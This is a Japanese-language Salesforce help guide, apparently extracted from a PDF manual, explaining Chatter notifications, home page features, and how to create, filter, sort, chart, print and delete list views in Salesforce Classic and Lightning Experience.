参加したグループから脱退するか、非公開グループへの参加要求を取り下げる
には、グループ詳細ページに移動し、 または [グループを脱退] をクリックし
ます。これらのオプションが表示されない場合は、ページレイアウトの調整を Salesforce のシステム管理者に依
頼してください。
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Chatter のメール通知の更新
Chatter の活動について、どのような場合にメールで通知を受け取るかを設定します。たとえば、誰かが新しく
あなたをフォローしたときや、あなたの投稿に誰かがいいね! をクリックしたときには通知を受け取らず、誰
かが Chatter であなたについてメンションしたときは通知を受け取るように選択できます。

使用可能なインターフェース: Salesforce Classic および Lightning Experience

使用可能なエディション: Group Edition、Professional Edition、Enterprise Edition、Performance Edition、Unlimited

Edition、Contact Manager Edition、および Developer Edition

1. 名前の下のメニューから、[設定] または [私の設定] をクリックします。
2. [Chatter] をクリックします。
3. [メール通知] をクリックします。
4. 必要な設定を選択します。
5. 変更内容を保存します。

スケジュールの整理
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション。

ミーティング、ToDo、および売上目標に関する最新情報を把握します。

営業パフォーマンスの追跡
Lightning Experienceのホームページでパフォーマンスグラフを使用して、カス
タマイズ可能な売上目標と比較したユーザの営業パフォーマンスや営業チー
ムのパフォーマンスを追跡します。
ToDo と行動のスケジュールと追跡
ホームページで直接 ToDo や行動を表示、作成、および編集します。Salesforce

for Outlookがインストールされている場合、Outlook 項目と Salesforce を同期して、[私の Todo] セクションや [カ
レンダー] セクションに表示できます。
アシスタントを使用した重要な更新の表示
Lightning Experience のホームページでアシスタントを使用して、1 日を通して重要な更新を確認できます。
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営業パフォーマンスの追跡

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Experience のホームページでパフォーマンスグラフを使用して、カスタ
マイズ可能な売上目標と比較したユーザの営業パフォーマンスや営業チームの
パフォーマンスを追跡します。
ユーザに関連付けられた営業チームがある場合、パフォーマンスグラフには営
業チームの商談に基づいたデータが表示されます。関連付けられた営業チーム
がない場合は、ユーザが所有する商談が表示されます。当販売四半期の商談の
うち、完了した商談と、完了する確度が 70% を超えている進行中の商談のみが
表示されます。
• 完了 — 完了した商談の合計。
• 進行中 (>70%) — 確度が 70% を超えている進行中の商談の合計。グラフの青い

線は、完了した商談と、確度が 70% を超えている進行中の商談を合わせた合
計です。

• 目標 — 四半期のカスタマイズ可能な売上目標。この項目は、パフォーマンスグラフに固有であり、売上予
測目標や他の種別の目標には影響しません。 をクリックして目標を設定します。

異なる日付の完了済みおよびコミット済みの商談金額を表示するには、グラフにマウスポインタを置きます。
商談が完了した日付、または 70% を超える確度に設定された日付にマウスポインタを置くと、青いドットが表
示されます。ドットをクリックすると、商談の詳細がウィンドウに表示されます。
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ToDo と行動のスケジュールと追跡

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ホームページで直接 ToDo や行動を表示、作成、および編集します。Salesforce for

Outlookがインストールされている場合、Outlook 項目と Salesforce を同期して、[私
の Todo] セクションや [カレンダー] セクションに表示できます。
[私の ToDo] セクションでは、次の操作を実行できます。
• ToDo を作成します。
• 自分に割り当てられた ToDo のリストを表示して絞り込みます。このリスト

には、最大 15 の ToDo が表示されます。すべての ToDo を表示するには、[さら
に表示] をクリックします。

は、定期的な行動の一部である Todo を示します。
• 未解決のメールを関連レコードに割り当てます。未割り当てのメールをすべて表示するには、[私の未解決

の項目] をクリックします。
[カレンダー] セクションでは、次の操作を実行できます。
• 行動とミーティング要請を作成します。
• 今後 7 日間にスケジュールされている行動のリストを表示します。

このタブには、1 日あたり最大 50 の行動が表示されます。 は、定期的な行動の一部である行動を示しま
す。 は、招待者がある行動を示します。
[要請済みミーティング] サブタブには、要請したけれども確認されていないミーティングが表示されます。
このタブには、最大 100 の要請済みミーティングが表示されます。

アシスタントを使用した重要な更新の表示

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Experienceのホームページでアシスタントを使用して、1 日を通して重要
な更新を確認できます。
さまざまなリードまたは商談をクリックして、そのレコードの詳細ページに移
動します。
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[アシスタント] には次の更新が表示されます。
• 本日割り当てられているリード
• 期限切れの ToDo がある商談
• 30 日間活動がない商談
• 活動予定がない商談
リードの更新は、商談の更新よりも前に表示されます。商談の更新は、完了日順に並べられます。

メモ: 商談の活動に対してアクセス権がないか、商談パイプラインがオフの場合は、完了予定日が今後 90

日以内の商談の推奨事項が代わりに表示されます。

データの整理
Salesforce は取引先情報などのデータの多くを個々のレコードに保存し、オブジェクト内にデータをまとめま
す。レコードを参照および更新し、データに関するレポートを実行できます。

標準オブジェクトとカスタムオブジェクトの違いは?

Salesforce には、さまざまな標準オブジェクトがあります。たとえば、ケースオブジェクトを使用して、顧
客からの問い合わせに関する情報を保存できます。システム管理者は、組織固有の情報を格納するレコー
ドのカスタムオブジェクトを作成することもできます。
データの検索と表示
タブ、検索、またはリストを使用してレコードを表示します。
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データの更新
Salesforce データの多くは、個々のレコードに保存され、オブジェクト内で編成されます。たとえば、取引
先オブジェクトは、すべての取引先レコードを提供します。Acme 社という取引先がある場合、Acme の取引
先レコードを作成して使用します。
データの分析
レポートとダッシュボードを使用して、データを分析および視覚化します。Salesforce には、連動機能を備
えた強力なレポートツールが揃っており、データの理解と操作に役立てることができます。

標準オブジェクトとカスタムオブジェクトの違いは?

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムオブジェクトタ
ブを表示する
• カスタムオブジェクト

に対する「参照」

カスタムオブジェクトレ
コードを参照する
• カスタムオブジェクト

に対する「参照」

Salesforce には、さまざまな標準オブジェクトがあります。たとえば、ケースオ
ブジェクトを使用して、顧客からの問い合わせに関する情報を保存できます。
システム管理者は、組織固有の情報を格納するレコードのカスタムオブジェク
トを作成することもできます。
取引先、取引先責任者、または商談などの標準オブジェクトは、Salesforce にデ
フォルトで含まれています。カスタムオブジェクトは、標準オブジェクトに基
づいており、それらの機能を拡張します。
Salesforce システム管理者は、カスタム項目、他のデータ型とのリレーション、
ページレイアウト、カスタムタブなど、カスタムオブジェクトとそれらのプロ
パティを定義します。システム管理者がカスタムオブジェクトのタブを作成し
ている場合、カスタムオブジェクトのタブをクリックすると、レコードが表示
されます。

重要: 特定のオブジェクトに関する情報を検索して、このページが表示さ
れた場合、Salesforce システム管理者はそのオブジェクトのヘルプページを
作成していません。Salesforce ヘルプでは、Salesforce の初期インテグレーショ
ンに付属する標準オブジェクトについてのみ説明しています。

関連トピック:

データの検索と表示
レコードの作成および更新

データの検索と表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

タブ、検索、またはリストを使用してレコードを表示します。

レコードの検索
組織で使用できるすべての標準オブジェクトとカスタムオブジェクトを表示
するには、プラスアイコン (+) をクリックします。特定のオブジェクトのレ
コードを表示するには、そのレコードのタブをクリックします。
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リストビューの並び替え
多くのオブジェクトでは、リストにレコードを表示できます。これは「リストビュー」とも呼ばれます。
レコードをいずれかの項目列で並び替えることができます。たとえば、[すべての取引先] リストビューは、
[取引先名]項目列、[都道府県(請求先)]項目列などで並び替えできます。カスタムリストビューも並び替
えできます。並び替えは英数字で行われます。
リストビューの印刷
システム管理者が組織でリストビュー印刷を有効にしている場合、標準リストビューとカスタムリスト
ビューを印刷できます。
Salesforce Classic のリストビュー検索条件の編集
リストビューの検索条件を変更するには、リストを編集します。
Lightning Experience のグラフを使用したリストビューデータの視覚化
リストビューグラフを使用して、リストビューデータをグラフィック表示します。縦棒グラフ、横棒グラ
フ、ドーナツグラフの 3 つの種類のグラフがあります。リストビューで使用可能な標準およびカスタムリ
ストビューグラフから選択します。必要に応じて、データを別の種類のグラフに表示するように変更でき
ます。
データビューのカスタマイズ
独自の条件を満たすレコードを表示するには、カスタマイズされたリストビューを作成します。検索条件
を設定して、表示するレコードを決定します。検索条件に一致するすべてのレコードがリストビューに表
示されます。
レコードの関連リストの操作
Salesforce レコードでは、関連レコードのリンクおよび詳細は、関連リスト内でグループ化されます。一部
の関連リストでは、レコードの作成やファイルの添付など、関連オブジェクトに対して一般的なタスクを
実行できます。
最近参照した項目を開く
Salesforce サイドバーの [最近使ったデータ] のセクションには、自分が最近追加、編集、または参照した最
大 10 個の項目 (レコード、ドキュメント、カスタムオブジェクトなど) が表示されます。
Kanban での視覚的な概要の表示
Kanban ビューには、選択したレコードの概要が視覚的に表示されます。すべてのレコードを 1 度に確認で
きるため、自身の業務を効率的に監視し、商談を継続的に前進させることができます。
所属ディビジョンの変更
組織でディビジョンを使用している場合は、サイドバーの [ディビジョン] 項目から所属ディビジョンを変
更できます。
[ホーム] タブのダッシュボードの変更
[ホーム] タブにダッシュボードのスナップショットが含まれている場合、そのダッシュボードを変更でき
ます。
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レコードの検索

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

組織で使用できるすべての標準オブジェクトとカスタムオブジェクトを表示す
るには、プラスアイコン (+) をクリックします。特定のオブジェクトのレコード
を表示するには、そのレコードのタブをクリックします。
表示されるタブは、権限およびシステム管理者による Salesforce の設定方法によっ
て異なります。たとえば、会社で商品の在庫を追跡する必要があるとします。
Salesforce システム管理者は、Inventory (在庫) と Merchandise (商品) というカスタム
オブジェクトを作成してタブに追加できます。

タブの順序を変更 (ページ 90)することができます。
タブからのレコードデータの検索

標準またはカスタムレコードタブから、ビューを選択して [Go!] をクリックします。

このアクションによって、選択したビューで絞り込まれたリストビューが表示されます。
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たとえば、[取引先責任者] タブで [今週の新規] を選択すると、リストビューには今週追加された新規取引先
責任者が表示されます。

関連リストを使用したレコードデータの検索
多くのレコードでは、メインページセクションの下に関連リストがあります。この関連リストには、現在
表示中のレコードに関連付けられたレコードが示されます。たとえば、取引先レコードには、その取引先
の取引先責任者関連リストが表示される場合があります。

メモ: 参照できるレコードと更新できるレコードは、ユーザプロファイル、ユーザ権限、および共有設定
によって異なります。システム管理者と連携して、必要なレコードおよびデータへのアクセス権がある
ことを確認してください。

リストビューの並び替え

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

リストビューを並び替え
る
• リストに表示されてい

るレコードに対する
「参照」

多くのオブジェクトでは、リストにレコードを表示できます。これは「リスト
ビュー」とも呼ばれます。レコードをいずれかの項目列で並び替えることがで
きます。たとえば、[すべての取引先] リストビューは、[取引先名]項目列、[都
道府県(請求先)]項目列などで並び替えできます。カスタムリストビューも並び
替えできます。並び替えは英数字で行われます。
1. リストビューを開きます。
2. 並び替え基準にする項目列のヘッダーをクリックします。

リストの並び替えが列の昇順 または降順  (英数字) のどちらであるかを
示す矢印が表示されます。

メモ:  Spring '13 以降、ユーザ数が 200 万を超える Salesforce 組織のユーザオブ
ジェクトのリストビューは並び替えできません。

リストビューの印刷

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

リストビューを印刷する
• リストに表示されてい

るレコードに対する
「参照」

システム管理者が組織でリストビュー印刷を有効にしている場合、標準リスト
ビューとカスタムリストビューを印刷できます。
次のオブジェクトのリストビューを印刷できます。
• 取引先
• 活動
• キャンペーン
• ケース
• 取引先責任者
• 契約
• カスタムオブジェクト
• ドキュメント
• リード
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• 商談
• 権限セット
• 価格表
• プロファイル
• 商品
• レポート
• ソリューション
1. リストビューに移動します。
2. ページ上部にある印刷アイコンをクリックします。

印刷用ページビューが表示されます。
3. ページを印刷するには、[このページを印刷] をクリックします。

Salesforce Classic のリストビュー検索条件の編集

エディション

使用可能なエディション:
すべてのエディション

ユーザ権限

リストビューを編集する
• リストに表示されてい

るレコードタイプに対
する「参照」、および
「リストビューの作成
およびカスタマイズ」

公開リストビューを作
成、編集、または削除す
る
• リストに表示されてい

るレコードタイプに対
する「参照」、および
「リストビューの作成
およびカスタマイズ」

リストビューの検索条件を変更するには、リストを編集します。

メモ: 次の手順は Salesforce Classic で使用できます。Lightning Experience では、
画面上部のナビゲーションバーの左側に [アプリケーションランチャー] ア
イコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示され
ません。

1. リストビュー名の横にある [編集] をクリックします。
[編集] ではなく [コピー] が表示される場合は、このリストビューを編集する
権限がありません。[コピー] を使用してリストビューをコピーして別の名前
で保存してから、コピーしたリストビューを編集します。

2. [検索条件を指定] で、必要に応じて [所有者別に絞り込み]の選択項目を変更
します。[追加項目別に絞り込み] で [項目]、[演算子]、または [値] の選択
項目を追加または変更します。

3. [保存] をクリックして、編集した検索条件をリストビューに適用します。
保存した変更結果は、リストビューにアクセスできるすべてのユーザに表示さ
れます。
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Lightning Experience のグラフを使用したリストビューデータの視覚化

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

リストビューグラフを表
示する
• リストに表示されてい

るレコードタイプに対
する「参照」

リストビューグラフを使用して、リストビューデータをグラフィック表示しま
す。縦棒グラフ、横棒グラフ、ドーナツグラフの 3 つの種類のグラフがありま
す。リストビューで使用可能な標準およびカスタムリストビューグラフから選
択します。必要に応じて、データを別の種類のグラフに表示するように変更で
きます。

メモ: 次の手順は、Lightning Experienceで使用できます。Lightning Experienceで
は、画面上部のナビゲーションバーの左側に[アプリケーションランチャー]

アイコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示さ
れません。

1. オブジェクトのホームページで、視覚化するデータを含むリストビューを選
択します。

2. をクリックします。
[グラフ] パネルが表示されます。

3. 別のグラフを選択するには、グラフ名の横にある をクリックします。
4. データのグラフィック表示を変更するには、[グラフ] パネルの をクリッ

クし、新しいグラフの種類を選択します。
データが新しいグラフで表示されます。

データビューのカスタマイズ
独自の条件を満たすレコードを表示するには、カスタマイズされたリストビューを作成します。検索条件を設
定して、表示するレコードを決定します。検索条件に一致するすべてのレコードがリストビューに表示されま
す。

Salesforce Classic でのカスタムリストビューの作成
取引先責任者、ドキュメント、その他のオブジェクトレコードの特定のセットを表示するリストビューを
作成します。たとえば、都道府県内の取引先、特定のリードソースが割り当てられているリード、または
特定の金額を上回る商談のリストビューを作成します。一括メール送信の受信者リストに使用する取引先
責任者、リード、ユーザ、またはケースのビューを作成することもできます。
Lightning Experience のリストビューの作成
検索条件を満たすレコードの無限にスクロール可能なリストを表示するビューを作成します。
Lightning Experience のリストビューグラフの作成
リストビューデータを視覚化するグラフを作成します。縦棒グラフ、横棒グラフ、ドーナツグラフの 3 つ
の種類のグラフがあります。すべてのリストビューグラフで、必要に応じてデータを別の種類のグラフに
表示するように変更できます。商談やリードなどのオブジェクトのリストビューグラフを作成する場合、
グラフはそのオブジェクトに関連付けられます。[最近参照したデータ] リストを除き、そのオブジェクト
の参照権限を持つすべてのリストビューのグラフを作成できます。
Salesforce Classic のリストビュー検索条件の編集
リストビューの検索条件を変更するには、リストを編集します。
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Lightning Experience のリストビュー検索条件の編集
[リストビューコントロール] からリストビューの検索条件を編集するか、 をクリックして [検索条件] に
アクセスします。
Salesforce Classic でのリストビューの削除
カスタムビューが不要になった場合は削除できます。
Lightning Experience のリストビューの削除
不要になったリストビューは削除できます。

Salesforce Classic でのカスタムリストビューの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

カスタムリストビューを
作成する
• リストに表示されてい

るレコードタイプに対
する「参照」、および
「リストビューの作成
およびカスタマイズ」

公開リストビューを作
成、編集、または削除す
る
• 「公開リストビューの

管理」

取引先責任者、ドキュメント、その他のオブジェクトレコードの特定のセット
を表示するリストビューを作成します。たとえば、都道府県内の取引先、特定
のリードソースが割り当てられているリード、または特定の金額を上回る商談
のリストビューを作成します。一括メール送信の受信者リストに使用する取引
先責任者、リード、ユーザ、またはケースのビューを作成することもできます。

メモ: 次の手順は、Salesforce Classic で動作します。Lightning Experience では、
画面上部のナビゲーションバーの左側に [アプリケーションランチャー] ア
イコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示され
ません。

1. 任意のリストページの上部、または任意のタブホームページの [ビュー] セク
ションにある [新規ビューの作成] をクリックします。

メモ: [新規ビューの作成] が表示されていない場合は、「リストビュー
の作成およびカスタマイズ」権限がありません。この権限が必要な場合
は、Salesforce システム管理者にお問い合わせください。

2. [ビュー] ドロップダウンリストに表示するビューの名前を入力します。
3. 一意のビュー名を入力します。この一意の名前は API と管理パッケージで使

用されます。
4. 検索条件を指定します。より多くの検索条件項目を使用する場合は、[検索条

件ロジックを追加...]、[行を追加] の順にクリックします。検索条件には、最
大 10 個の項目を使用できます。

5. リストビューに表示する項目を選択します。
デフォルト項目が自動的に選択されます。ページレイアウトにある項目から、最大 15 件のさまざまな項目
をビューに表示できます。
ロングテキストエリア項目を選択すると、リストビューには 255 文字まで表示されます。

6. [保存] をクリックします。ビューが [ビュー] ドロップダウンリストに表示されるようになり、以降はリス
トから選択できます。

例:

106

データの整理Salesforce の使用開始



Salesforce システム管理者または「公開リストビューの管理」権限を持つユーザは、リストビューを非表示にし
て自分だけがリストビューを参照できるようにすることができます。リストビューを開きます。[特定のユー
ザグループに表示] を選択します。グループまたはロールの種別をドロップダウンリストから選択し、グルー
プまたはロールをリストから選択して、[追加] をクリックします。
Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition のユーザは、公開グループやロール
(そのロールより下位のすべてのユーザも含む) にアクセス権を付与できます。リストビューを共有する手順
は、次のとおりです。

メモ: カスタマーポータルユーザのプロファイルで [すべてのユーザに表示] 設定をオブジェクトの表示
用に有効にしている場合、リストビューは Salesforce カスタマーポータルユーザに表示されます。リスト
ビューを Salesforce ユーザのみに表示するには、[特定のユーザグループに表示]を選択します。次に、すべ
ての内部ユーザグループまたは選択した組織内グループやロールとビューを共有します。
カスタマーポータルを実装する場合は、カスタマーポータルユーザの関連情報のみを含むカスタムビュー
を作成します。次に、すべてのカスタマーポータルユーザグループまたは一連のポータルグループおよ
びロールとそれらのビューを共有し、カスタマーポータルユーザにビューを表示します。

Lightning Experience のリストビューの作成

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

リストビューを作成する
• リストに表示されてい

るレコードタイプに対
する「参照」、および
「リストビューの作成
およびカスタマイズ」

公開リストビューを作
成、編集、または削除す
る
• 「公開リストビューの

管理」

検索条件を満たすレコードの無限にスクロール可能なリストを表示するビュー
を作成します。

メモ: 次の手順は、Lightning Experienceで使用できます。Lightning Experienceで
は、画面上部のナビゲーションバーの左側に[アプリケーションランチャー]

アイコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示さ
れません。

リストビューで実行可能なアクションは [リストビューコントロール] メニュー

に表示されます。このメニューには、 をクリックしてアクセスします。
1. [リストビューコントロール] から、[新規] を選択します。
2. リストの名前を入力します。
3. このリストビューを自分のみが参照可能か、パートナーおよびカスタマー

ポータルユーザを含むすべてのユーザが参照可能かを選択します。
4. [保存] をクリックします。[検索条件] パネルが表示されます。
5. [自分を表示]をクリックし、[すべてのオブジェクト]または [私のオブジェク

ト] を選択します。
6. [完了] をクリックします。
7. 検索条件を追加および設定し、条件を満たすレコードのみを表示します。絞

り込む項目と選択した演算子に応じて、異なるオプションが表示されます。
検索条件では、符号付き 23 ビット整数の最小値～最大値、または 1 ～
2,147,483,648 のみがサポートされます。この範囲外の値では検索条件が無効に
なります。
a. [検索条件を追加] をクリックします。
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b. [新規検索条件] ドロップダウンメニューから、絞り込む項目を選択します。
c. [絞り込み条件] ドロップダウンメニューから、演算子を選択します。たとえば、[次の文字列と一致す

る]、[次の文字列で始まる]、または [次の文字列を含まない] を選択します。
d. [値] で、値を選択または入力します。
e. [完了] をクリックします。
f. 別の検索条件を設定するには、[検索条件を追加] をクリックします。
g. 検索条件を削除するには、検索条件名の近くにある をクリックします。

8. リストビューに表示されるレコードをさらに絞り込むロジックを追加するには、[検索条件ロジック] をク
リックします。各検索条件に割り当てられた番号を使用して、ロジックステートメントで検索条件を参照
します。

重要: ロジックステートメントにすべての条件番号を追加します。ロジックステートメントで参照さ
れない検索条件は使用できません。

定義オペランド

両方の値と一致するレコードを検索します。
1 AND 2

および

いずれかの値と一致するレコードを検索します。
1 OR 2

OR

値を除外するレコードを検索します。
たとえば、検索条件 1 が「業種次の文字列と一致するバイオテクノ
ロジ」であるとします。検索条件ロジックは、「NOT 1」と設定しま

NOT

す。レポートでは、「業種」の値に「バイオテクノロジ」が含まれな
いレコードが返されます。

たとえば、2015 年 7 月以降に作成され、交渉の後期フェーズの商談、成立する見込みが高い商談、または
その両方のすべての商談を表示するとします。検索条件を次のように設定します。
a. 最終更新日＞＝ 7/1/2015

b. フェーズ次の文字列を含む提案書/見積書の作成, 最終交渉
c. 確度＞＝ 50

次に、営業担当がロジックステートメント「1 AND (2 OR 3)」を追加します。

メモ: NOT は括弧内の式には適用されません。たとえば、式「1 AND NOT (2 AND 3)」は「1 AND

(NOT 2 AND 3)」として評価されます。この検索条件結果では、期待に反してレコードは返されませ
ん。

9. [保存] をクリックします。ビューがリストビュードロップダウンリストに表示されるようになり、以降は
リストから選択できます。
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10. 必要に応じて、リストビューの列を選択して並び替えます。
a. [リストビューコントロール] メニューから、[表示する項目を選択] を選択します。
b. 列を追加するには、[選択可能な項目] から 1 つ以上の項目を選択し、矢印を使用して [参照可能項目] に

移動します。
c. 列を削除するには、[参照可能項目] から 1 つ以上の項目を選択し、矢印を使用して [選択可能な項目] に

移動します。
d. 列を並び替えるには、[参照可能項目] から 1 つ以上の項目を選択し、矢印を使用して上下に移動します。
e. [保存] をクリックします。

メモ: リストビューには、アクセス権があるデータのみが表示されます。所有しているか「参照・更新」
アクセス権があるレコード、および共有しているレコードが表示されます。ロール階層で自分より下位
のロールのユーザが所有しているか、そのユーザと共有しているレコードも、リストビューに含まれま
す。ページレイアウト設定と項目レベルセキュリティ設定に従って表示される項目のみを参照できます。

Lightning Experience のリストビューグラフの作成

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

リストビューグラフを作
成する
• リストに表示されてい

るレコードタイプに対
する「参照」、および
「リストビューの作成
およびカスタマイズ」

リストビューデータを視覚化するグラフを作成します。縦棒グラフ、横棒グラ
フ、ドーナツグラフの 3 つの種類のグラフがあります。すべてのリストビュー
グラフで、必要に応じてデータを別の種類のグラフに表示するように変更でき
ます。商談やリードなどのオブジェクトのリストビューグラフを作成する場合、
グラフはそのオブジェクトに関連付けられます。[最近参照したデータ] リストを
除き、そのオブジェクトの参照権限を持つすべてのリストビューのグラフを作
成できます。

メモ: 次の手順は、Lightning Experienceで使用できます。Lightning Experienceで
は、画面上部のナビゲーションバーの左側に[アプリケーションランチャー]

アイコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示さ
れません。

1. オブジェクトのホームページで、視覚化するデータを含むリストビューを選
択します。

2. をクリックします。
3. 表示された [グラフ] パネルで、 をクリックします。
4. [新規グラフ] を選択します。

ダイアログボックスが表示されます。
5. グラフ名を入力します。
6. 縦棒グラフ、横棒グラフ、ドーナツグラフのいずれかのグラフの種類を選択

します。
7. 集計の種別、集計項目、およびグルーピング項目を選択します。

集計の種別では、項目データの計算方法 (合計、カウント、平均) を指定します。集計項目では、計算する
データの種類を指定します。グルーピング項目により、グラフの区分にラベルが付けられます。

8. グラフを表示するには、[保存] をクリックします。
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例: 営業チームが取引先を従業員数で比較して、見込み客を大企業に絞り込もうとしています。ある担当
者が、集計の種別に [合計]、集計項目に [従業員]、グルーピング項目に [取引先名] を選択して、横棒グラ
フを作成します。グラフには、各取引先の従業員数が、取引先名別に表示されます。

Salesforce Classic のリストビュー検索条件の編集

エディション

使用可能なエディション:
すべてのエディション

ユーザ権限

リストビューを編集する
• リストに表示されてい

るレコードタイプに対
する「参照」、および
「リストビューの作成
およびカスタマイズ」

公開リストビューを作
成、編集、または削除す
る
• リストに表示されてい

るレコードタイプに対
する「参照」、および
「リストビューの作成
およびカスタマイズ」

リストビューの検索条件を変更するには、リストを編集します。

メモ: 次の手順は Salesforce Classic で使用できます。Lightning Experience では、
画面上部のナビゲーションバーの左側に [アプリケーションランチャー] ア
イコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示され
ません。

1. リストビュー名の横にある [編集] をクリックします。
[編集] ではなく [コピー] が表示される場合は、このリストビューを編集する
権限がありません。[コピー] を使用してリストビューをコピーして別の名前
で保存してから、コピーしたリストビューを編集します。

2. [検索条件を指定] で、必要に応じて [所有者別に絞り込み]の選択項目を変更
します。[追加項目別に絞り込み] で [項目]、[演算子]、または [値] の選択
項目を追加または変更します。

3. [保存] をクリックして、編集した検索条件をリストビューに適用します。
保存した変更結果は、リストビューにアクセスできるすべてのユーザに表示さ
れます。
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Lightning Experience のリストビュー検索条件の編集

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

リストビューを編集する
• リストに表示されてい

るレコードタイプに対
する「参照」、および
「リストビューの作成
およびカスタマイズ」

公開リストビューを作
成、編集、または削除す
る
• リストに表示されてい

るレコードタイプに対
する「参照」、および
「リストビューの作成
およびカスタマイズ」

[リストビューコントロール] からリストビューの検索条件を編集するか、 を
クリックして [検索条件] にアクセスします。

重要: 次の手順は、Lightning Experienceで使用できます。Lightning Experienceで
は、画面上部のナビゲーションバーの左側に[アプリケーションランチャー]

アイコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示さ
れません。

リストビューで実行可能なアクションは [リストビューコントロール] メニュー

に表示されます。このメニューには、 をクリックしてアクセスします。

メモ: 一部のリストビューには定義済みの検索条件範囲があり、絞り込む
ことはできません。たとえば、標準の [チーム] リストビューや [最近参照し
たデータ] リストビューの SOQL クエリでは、クエリ結果をさらに絞り込む
ことはできません。

1. [リストビューコントロール] から、[リストの検索条件を編集]を選択します。
または、 をクリックします。
[検索条件] パネルが表示されます。検索条件を編集、削除、または追加し、
条件を満たすレコードのみを表示します。絞り込む項目と選択した演算子に
応じて、異なるオプションが表示されます。

2. 変更する検索条件をクリックします。
3. [絞り込み条件] ドロップダウンメニューから、演算子を選択します。たとえ

ば、[次の文字列と一致する]、[次の文字列で始まる]、または [次の値を含ま
ない] を選択します。

4. [値] で、値を選択または入力し、[完了] をクリックします。
検索条件では、符号付き 23 ビット整数の最小値～最大値、または 1 ～
2,147,483,648 のみがサポートされます。この範囲外の値では検索条件が無効に
なります。

5. 必要に応じて検索条件ロジックを調整します。検索条件ロジックステートメントは、存在しない条件番号
を参照できません。

メモ: NOT は括弧内の式には適用されません。たとえば、式「1 AND NOT (2 AND 3)」は「1 AND

(NOT 2 AND 3)」として評価されます。この検索条件結果では、期待に反してレコードは返されませ
ん。

6. 編集した検索条件を適用してリストを更新するには、[保存] をクリックします。
保存した変更結果は、リストにアクセスできるすべてのユーザに表示されます。

例: 一連の商談をグリッドではなくボードに表示し、リストビューに異なるレコードタイプのレコードを
含める場合、[商談] ボードに表示できるのは、1 つのレコードタイプのレコードが含まれるリストビュー
のみです。ボードにこのビューを表示できるようにするには、リストビューの検索条件を編集します。
[検索条件] パネルで、[検索条件を追加]を選択します。[商談レコードタイプ]および [次の文字列と一致す
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る]演算子を選択し、必要なレコードタイプの値を入力します。これで、編集したリストビューをボード
に表示できるようになりました。

Salesforce Classic でのリストビューの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

公開リストビューを削除
する
• 「公開リストビューの

管理」

カスタムビューが不要になった場合は削除できます。

メモ: 次の手順は Salesforce Classic で使用できます。Lightning Experience では、
画面上部のナビゲーションバーの左側に [アプリケーションランチャー] ア
イコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示され
ません。

1. カスタムリストビューを選択します。
2. [編集] をクリックします。
3. [削除] をクリックします。

Lightning Experience のリストビューの削除

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

公開リストビューを削除
する
• 「公開リストビューの

管理」

不要になったリストビューは削除できます。

メモ: 次の手順は、Lightning Experienceで使用できます。Lightning Experienceで
は、画面上部のナビゲーションバーの左側に[アプリケーションランチャー]

アイコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示さ
れません。

1. リストビューを選択します。
2.

をクリックして [リストビューコントロール] にアクセスします。
3. [削除] を選択します。
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レコードの関連リストの操作

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

Salesforce レコードでは、関連レコードのリンクおよび詳細は、関連リスト内で
グループ化されます。一部の関連リストでは、レコードの作成やファイルの添
付など、関連オブジェクトに対して一般的なタスクを実行できます。
たとえば、リードレコードには、活動予定や主要活動項目を表示する [活動予定]

など、さまざまな関連リストがあります。この関連リストで、新規 ToDo、新規
活動、または新規ミーティング要請を作成できます。リードに関連付けられて
いる ToDo が完了すると、その ToDo へのリンクがリードレコードの [活動履歴] 関
連リストに表示されます。この関連リストには、[活動予定] と同じ主要項目が表
示され、他の一般的な ToDo が提供されます。

関連リストの並び替えとアクセスは簡単です。手順は、次のとおりです。
• ページをスクロールして、必要な関連リストを見つけます (1)。
• 関連リストのフロート表示リンク (2) が組織で有効になっている場合は、リンクをクリックすると、リスト

がポップアップに表示されます。
• 表示する使用可能な関連リストを選択および並び替えるには、[ページのカスタマイズ] (3) をクリックしま

す。
